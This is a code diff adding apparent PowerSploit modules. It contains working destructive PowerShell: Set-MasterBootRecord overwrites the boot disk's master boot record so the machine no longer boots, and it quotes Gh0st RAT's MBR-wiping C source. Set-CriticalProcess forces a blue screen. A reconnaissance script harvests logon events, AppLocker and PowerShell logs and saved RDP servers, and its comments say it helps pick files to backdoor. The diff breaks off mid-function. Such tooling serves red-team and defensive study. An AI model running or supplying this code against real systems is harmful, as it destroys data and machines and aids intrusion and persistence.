+# List of all modules packaged with this module.
+ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'})
+
+# List of all files packaged with this module
+FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
+
+# Private data to pass to the module specified in RootModule/ModuleToProcess
+# PrivateData = ''
+
+# HelpInfo URI of this module
+# HelpInfoURI = ''
+
+# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
+# DefaultCommandPrefix = ''
+
+}
diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1
index e69de29..0b4f843 100644
--- a/Mayhem/Mayhem.psm1
+++ b/Mayhem/Mayhem.psm1
@@ -0,0 +1,366 @@
+function Set-MasterBootRecord
+{
+<#
+.SYNOPSIS
+
+ Proof of concept code that overwrites the master boot record with the
+ message of your choice.
+
+ PowerSploit Function: Set-MasterBootRecord
+ Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Set-MasterBootRecord is proof of concept code designed to show that it is
+ possible with PowerShell to overwrite the MBR. This technique was taken
+ from a public malware sample. This script is inteded solely as proof of
+ concept code.
+
+.PARAMETER BootMessage
+
+ Specifies the message that will be displayed upon making your computer a brick.
+
+.PARAMETER RebootImmediately
+
+ Reboot the machine immediately upon overwriting the MBR.
+
+.PARAMETER Force
+
+ Suppress the warning prompt.
+
+.EXAMPLE
+
+ Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
+
+.NOTES
+
+ Obviously, this will only work if you have a master boot record to
+ overwrite. This won't work if you have a GPT (GUID partition table)
+#>
+
+<#
+This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
+
+// CGh0stApp message handlers
+
+unsigned char scode[] =
+"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
+"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
+"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
+
+int CGh0stApp::KillMBR()
+{
+ HANDLE hDevice;
+ DWORD dwBytesWritten, dwBytesReturned;
+ BYTE pMBR[512] = {0};
+
+ // 重新构造MBR
+ memcpy(pMBR, scode, sizeof(scode) - 1);
+ pMBR[510] = 0x55;
+ pMBR[511] = 0xAA;
+
+ hDevice = CreateFile
+ (
+ "\\\\.\\PHYSICALDRIVE0",
+ GENERIC_READ | GENERIC_WRITE,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL,
+ OPEN_EXISTING,
+ 0,
+ NULL
+ );
+ if (hDevice == INVALID_HANDLE_VALUE)
+ return -1;
+ DeviceIoControl
+ (
+ hDevice,
+ FSCTL_LOCK_VOLUME,
+ NULL,
+ 0,
+ NULL,
+ 0,
+ &dwBytesReturned,
+ NULL
+ );
+ // 写入病毒内容
+ WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
+ DeviceIoControl
+ (
+ hDevice,
+ FSCTL_UNLOCK_VOLUME,
+ NULL,
+ 0,
+ NULL,
+ 0,
+ &dwBytesReturned,
+ NULL
+ );
+ CloseHandle(hDevice);
+
+ ExitProcess(-1);
+ return 0;
+}
+#>
+
+ [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
+ [ValidateLength(1, 479)]
+ [String]
+ $BootMessage = 'Stop-Crying; Get-NewHardDrive',
+
+ [Switch]
+ $RebootImmediately,
+
+ [Switch]
+ $Force
+ )
+
+ if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ throw 'This script must be executed from an elevated command prompt.'
+ }
+
+ if (!$Force)
+ {
+ if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
+ {
+ return
+ }
+ }
+
+ #region define P/Invoke types dynamically
+ $DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
+
+ $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
+ $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
+ @('kernel32.dll'),
+ [Reflection.FieldInfo[]]@($SetLastError),
+ @($True))
+
+ # Define [Win32.Kernel32]::DeviceIoControl
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::CreateFile
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [IntPtr],
+ [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Ansi)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::WriteFile
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Ansi)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::CloseHandle
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ $Kernel32 = $TypeBuilder.CreateType()
+ #endregion
+
+ $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
+ # Convert the boot message to a byte array
+ $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
+
+ [Byte[]] $MBRInfectionCode = @(
+ 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
+ 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
+ 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
+ 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
+ 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
+ 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
+ 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
+ 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
+ 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
+ ) + $MessageBytes
+
+ $MBRSize = [UInt32] 512
+
+ if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
+ {
+ throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
+ }
+
+ # Allocate 512 bytes for the MBR
+ $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
+
+ # Zero-initialize the allocated unmanaged memory
+ 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
+
+ [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
+
+ # Write boot record signature to the end of the MBR
+ [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
+ [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
+
+ # Get the device ID of the boot disk
+ $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
+
+ $GENERIC_READWRITE = 0x80000000 -bor 0x40000000
+ $FILE_SHARE_READWRITE = 2 -bor 1
+ $OPEN_EXISTING = 3
+
+ # Obtain a read handle to the raw disk
+ $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
+
+ if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
+ {
+ throw "Unable to obtain read/write handle to $DeviceID"
+ }
+
+ $BytesReturned = [UInt32] 0
+ $BytesWritten = [UInt32] 0
+ $FSCTL_LOCK_VOLUME = 0x00090018
+ $FSCTL_UNLOCK_VOLUME = 0x0009001C
+
+ $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
+ $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
+ $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
+ $null = $Kernel32::CloseHandle($DriveHandle)
+
+ Start-Sleep -Seconds 2
+
+ [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
+
+ Write-Verbose 'Master boot record overwritten successfully.'
+
+ if ($RebootImmediately)
+ {
+ Restart-Computer -Force
+ }
+}
+
+function Set-CriticalProcess
+{
+<#
+.SYNOPSIS
+
+Causes your machine to blue screen upon exiting PowerShell.
+
+PowerSploit Function: Set-CriticalProcess
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.PARAMETER ExitImmediately
+
+Immediately exit PowerShell after successfully marking the process as critical.
+
+.PARAMETER Force
+
+Set the running PowerShell process as critical without asking for confirmation.
+
+.EXAMPLE
+
+Set-CriticalProcess
+
+.EXAMPLE
+
+Set-CriticalProcess -ExitImmediately
+
+.EXAMPLE
+
+Set-CriticalProcess -Force -Verbose
+
+#>
+
+ [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
+ [Switch]
+ $Force,
+
+ [Switch]
+ $ExitImmediately
+ )
+
+ if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
+ {
+ throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
+ }
+
+ $Response = $True
+
+ if (!$Force)
+ {
+ $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
+ }
+
+ if (!$Response)
+ {
+ return
+ }
+
+ $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
+
+ # Define [ntdll]::NtQuerySystemInformation method
+ $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
+ 'ntdll.dll',
+ ([Reflection.MethodAttributes] 'Public, Static'),
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $ntdll = $TypeBuilder.CreateType()
+
+ $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
+ $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
+
+ $ProcessBreakOnTermination = 29
+ $SizeUInt32 = 4
+
+ try
+ {
+ $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
+ }
+ catch
+ {
+ return
+ }
+
+ Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
+
+ if ($ExitImmediately)
+ {
+ Stop-Process -Id $PID
+ }
+} \ No newline at end of file
diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1
index e69de29..63ac1cb 100644
--- a/Recon/Get-ComputerDetails.ps1
+++ b/Recon/Get-ComputerDetails.ps1
@@ -0,0 +1,580 @@
+function Get-ComputerDetails
+{
+<#
+.SYNOPSIS
+
+This script is used to get useful information from a computer.
+
+Function: Get-ComputerDetails
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+This script is used to get useful information from a computer. Currently, the script gets the following information:
+-Explicit Credential Logons (Event ID 4648)
+-Logon events (Event ID 4624)
+-AppLocker logs to find what processes are created
+-PowerShell logs to find PowerShell scripts which have been executed
+-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to
+
+.PARAMETER ToString
+
+Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.
+
+.EXAMPLE
+
+Get-ComputerDetails
+Gets information about the computer and outputs it as PowerShell objects.
+
+Get-ComputerDetails -ToString
+Gets information about the computer and outputs it as raw text.
+
+.NOTES
+This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
+You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+
+#>
+
+ Param(
+ [Parameter(Position=0)]
+ [Switch]
+ $ToString
+ )
+
+ Set-StrictMode -Version 2
+
+
+
+ $SecurityLog = Get-EventLog -LogName Security
+ $Filtered4624 = Find-4624Logons $SecurityLog
+ $Filtered4648 = Find-4648Logons $SecurityLog
+ $AppLockerLogs = Find-AppLockerLogs
+ $PSLogs = Find-PSScriptsInPSAppLog
+ $RdpClientData = Find-RDPClientConnections
+
+ if ($ToString)
+ {
+ Write-Output "Event ID 4624 (Logon):"
+ Write-Output $Filtered4624.Values | Format-List
+ Write-Output "Event ID 4648 (Explicit Credential Logon):"
+ Write-Output $Filtered4648.Values | Format-List
+ Write-Output "AppLocker Process Starts:"
+ Write-Output $AppLockerLogs.Values | Format-List
+ Write-Output "PowerShell Script Executions:"
+ Write-Output $PSLogs.Values | Format-List
+ Write-Output "RDP Client Data:"
+ Write-Output $RdpClientData.Values | Format-List
+ }
+ else
+ {
+ $Properties = @{
+ LogonEvent4624 = $Filtered4624.Values
+ LogonEvent4648 = $Filtered4648.Values
+ AppLockerProcessStart = $AppLockerLogs.Values
+ PowerShellScriptStart = $PSLogs.Values
+ RdpClientData = $RdpClientData.Values
+ }
+
+ $ReturnObj = New-Object PSObject -Property $Properties
+ return $ReturnObj
+ }
+}
+
+
+function Find-4648Logons
+{
+<#
+.SYNOPSIS
+
+Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
+the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
+for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
+
+Function: Find-4648Logons
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
+the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
+for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
+
+.EXAMPLE
+
+Find-4648Logons
+Gets the unique 4648 logon events.
+
+.NOTES
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+#>
+ Param(
+ $SecurityLog
+ )
+
+ $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648}
+ $ReturnInfo = @{}
+
+ foreach ($ExplicitLogon in $ExplicitLogons)
+ {
+ $Subject = $false
+ $AccountWhosCredsUsed = $false
+ $TargetServer = $false
+ $SourceAccountName = ""
+ $SourceAccountDomain = ""
+ $TargetAccountName = ""
+ $TargetAccountDomain = ""
+ $TargetServer = ""
+ foreach ($line in $ExplicitLogon.Message -split "\r\n")
+ {
+ if ($line -cmatch "^Subject:$")
+ {
+ $Subject = $true
+ }
+ elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$")
+ {
+ $Subject = $false
+ $AccountWhosCredsUsed = $true
+ }
+ elseif ($line -cmatch "^Target\sServer:")
+ {
+ $AccountWhosCredsUsed = $false
+ $TargetServer = $true
+ }
+ elseif ($Subject -eq $true)
+ {
+ if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
+ {
+ $SourceAccountName = $Matches[1]
+ }
+ elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
+ {
+ $SourceAccountDomain = $Matches[1]
+ }
+ }
+ elseif ($AccountWhosCredsUsed -eq $true)
+ {
+ if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
+ {
+ $TargetAccountName = $Matches[1]
+ }
+ elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
+ {
+ $TargetAccountDomain = $Matches[1]
+ }
+ }
+ elseif ($TargetServer -eq $true)
+ {
+ if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)")
+ {
+ $TargetServer = $Matches[1]
+ }
+ }
+ }
+
+ #Filter out logins that don't matter
+ if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$"))
+ {
+ $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer
+ if (-not $ReturnInfo.ContainsKey($Key))
+ {
+ $Properties = @{
+ LogType = 4648
+ LogSource = "Security"
+ SourceAccountName = $SourceAccountName
+ SourceDomainName = $SourceAccountDomain
+ TargetAccountName = $TargetAccountName
+ TargetDomainName = $TargetAccountDomain
+ TargetServer = $TargetServer
+ Count = 1
+ Times = @($ExplicitLogon.TimeGenerated)
+ }
+
+ $ResultObj = New-Object PSObject -Property $Properties
+ $ReturnInfo.Add($Key, $ResultObj)
+ }
+ else
+ {
+ $ReturnInfo[$Key].Count++
+ $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated
+ }
+ }
+ }
+
+ return $ReturnInfo
+}
+
+function Find-4624Logons
+{
+<#
+.SYNOPSIS
+
+Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
+network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
+
+Function: Find-4624Logons
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
+network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
+
+.EXAMPLE
+
+Find-4624Logons
+Find unique 4624 logon events.
+
+.NOTES
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+#>
+ Param (
+ $SecurityLog
+ )
+
+ $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624}
+ $ReturnInfo = @{}
+
+ foreach ($Logon in $Logons)
+ {
+ $SubjectSection = $false
+ $NewLogonSection = $false
+ $NetworkInformationSection = $false
+ $AccountName = ""
+ $AccountDomain = ""
+ $LogonType = ""
+ $NewLogonAccountName = ""
+ $NewLogonAccountDomain = ""
+ $WorkstationName = ""
+ $SourceNetworkAddress = ""
+ $SourcePort = ""
+
+ foreach ($line in $Logon.Message -Split "\r\n")
+ {
+ if ($line -cmatch "^Subject:$")
+ {
+ $SubjectSection = $true
+ }
+ elseif ($line -cmatch "^Logon\sType:\s+(\S.*)")
+ {
+ $LogonType = $Matches[1]
+ }
+ elseif ($line -cmatch "^New\sLogon:$")
+ {
+ $SubjectSection = $false
+ $NewLogonSection = $true
+ }
+ elseif ($line -cmatch "^Network\sInformation:$")
+ {
+ $NewLogonSection = $false
+ $NetworkInformationSection = $true
+ }
+ elseif ($SubjectSection)
+ {
+ if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
+ {
+ $AccountName = $Matches[1]
+ }
+ elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
+ {
+ $AccountDomain = $Matches[1]
+ }
+ }
+ elseif ($NewLogonSection)
+ {
+ if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
+ {
+ $NewLogonAccountName = $Matches[1]
+ }
+ elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
+ {
+ $NewLogonAccountDomain = $Matches[1]
+ }
+ }
+ elseif ($NetworkInformationSection)
+ {
+ if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)")
+ {
+ $WorkstationName = $Matches[1]
+ }
+ elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)")
+ {
+ $SourceNetworkAddress = $Matches[1]
+ }
+ elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)")
+ {
+ $SourcePort = $Matches[1]
+ }
+ }
+ }
+
+ #Filter out logins that don't matter
+ if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager"))
+ {
+ $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
+ if (-not $ReturnInfo.ContainsKey($Key))
+ {
+ $Properties = @{
+ LogType = 4624
+ LogSource = "Security"
+ SourceAccountName = $AccountName
+ SourceDomainName = $AccountDomain
+ NewLogonAccountName = $NewLogonAccountName
+ NewLogonAccountDomain = $NewLogonAccountDomain
+ LogonType = $LogonType
+ WorkstationName = $WorkstationName
+ SourceNetworkAddress = $SourceNetworkAddress
+ SourcePort = $SourcePort
+ Count = 1
+ Times = @($Logon.TimeGenerated)
+ }
+
+ $ResultObj = New-Object PSObject -Property $Properties
+ $ReturnInfo.Add($Key, $ResultObj)
+ }
+ else
+ {
+ $ReturnInfo[$Key].Count++
+ $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
+ }
+ }
+ }
+
+ return $ReturnInfo
+}
+
+
+function Find-AppLockerLogs
+{
+<#
+.SYNOPSIS
+
+Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
+
+Function: Find-AppLockerLogs
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
+
+.EXAMPLE
+
+Find-AppLockerLogs
+Find process creations from AppLocker logs.
+
+.NOTES
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+#>
+ $ReturnInfo = @{}
+
+ $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002}
+
+ foreach ($Log in $AppLockerLogs)
+ {
+ $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value)
+ $UserName = $SID.Translate( [System.Security.Principal.NTAccount])
+
+ $ExeName = $Log.Properties[10].Value
+
+ $Key = $UserName.ToString() + "::::" + $ExeName
+
+ if (!$ReturnInfo.ContainsKey($Key))
+ {
+ $Properties = @{
+ Exe = $ExeName
+ User = $UserName.Value
+ Count = 1
+ Times = @($Log.TimeCreated)
+ }
+
+ $Item = New-Object PSObject -Property $Properties
+ $ReturnInfo.Add($Key, $Item)
+ }
+ else
+ {
+ $ReturnInfo[$Key].Count++
+ $ReturnInfo[$Key].Times += ,$Log.TimeCreated
+ }
+ }
+
+ return $ReturnInfo
+}
+
+
+Function Find-PSScriptsInPSAppLog
+{
+<#
+.SYNOPSIS
+
+Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
+You can then backdoor these scripts or do other malicious things.
+
+Function: Find-AppLockerLogs
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
+You can then backdoor these scripts or do other malicious things.
+
+.EXAMPLE
+
+Find-PSScriptsInPSAppLog
+Find unique PowerShell scripts being executed from the PowerShell operational log.
+
+.NOTES
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+#>
+ $ReturnInfo = @{}
+ $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100}
+
+ foreach ($Log in $Logs)
+ {
+ $ContainsScriptName = $false
+ $LogDetails = $Log.Message -split "`r`n"
+
+ $FoundScriptName = $false
+ foreach($Line in $LogDetails)
+ {
+ if ($Line -imatch "^\s*Script\sName\s=\s(.+)")
+ {
+ $ScriptName = $Matches[1]
+ $FoundScriptName = $true
+ }
+ elseif ($Line -imatch "^\s*User\s=\s(.*)")
+ {
+ $User = $Matches[1]
+ }
+ }
+
+ if ($FoundScriptName)
+ {
+ $Key = $ScriptName + "::::" + $User
+
+ if (!$ReturnInfo.ContainsKey($Key))
+ {
+ $Properties = @{
+ ScriptName = $ScriptName
+ UserName = $User
+ Count = 1
+ Times = @($Log.TimeCreated)
+ }
+
+ $Item = New-Object PSObject -Property $Properties
+ $ReturnInfo.Add($Key, $Item)
+ }
+ else
+ {
+ $ReturnInfo[$Key].Count++
+ $ReturnInfo[$Key].Times += ,$Log.TimeCreated
+ }
+ }
+ }
+
+ return $ReturnInfo
+}
+
+
+Function Find-RDPClientConnections
+{
+<#
+.SYNOPSIS
+
+Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
+usually RDP's to.
+
+Function: Find-RDPClientConnections
+Author: Joe Bialek, Twitter: @JosephBialek
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+
+.DESCRIPTION
+
+Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
+usually RDP's to.
+
+.EXAMPLE
+
+Find-RDPClientConnections
+Find unique saved RDP client connections.
+
+.NOTES
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+#>
+ $ReturnInfo = @{}
+
+ New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null
+
+ #Attempt to enumerate the servers for all users
+ $Users = Get-ChildItem -Path "HKU:\"
+ foreach ($UserSid in $Users.PSChildName)
+ {
+ $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue
+
+ foreach ($Server in $Servers)
+ {
+ $Server = $Server.PSChildName
+ $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint
+
+ $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint
+
+ if (!$ReturnInfo.ContainsKey($Key))
+ {
+ $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid)
+ $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value
+
+ $Properties = @{
+ CurrentUser = $User
+ Server = $Server
+ UsernameHint = $UsernameHint
+ }
+
+ $Item = New-Object PSObject -Property $Properties
+ $ReturnInfo.Add($Key, $Item)
+ }
+ }
+ }
+
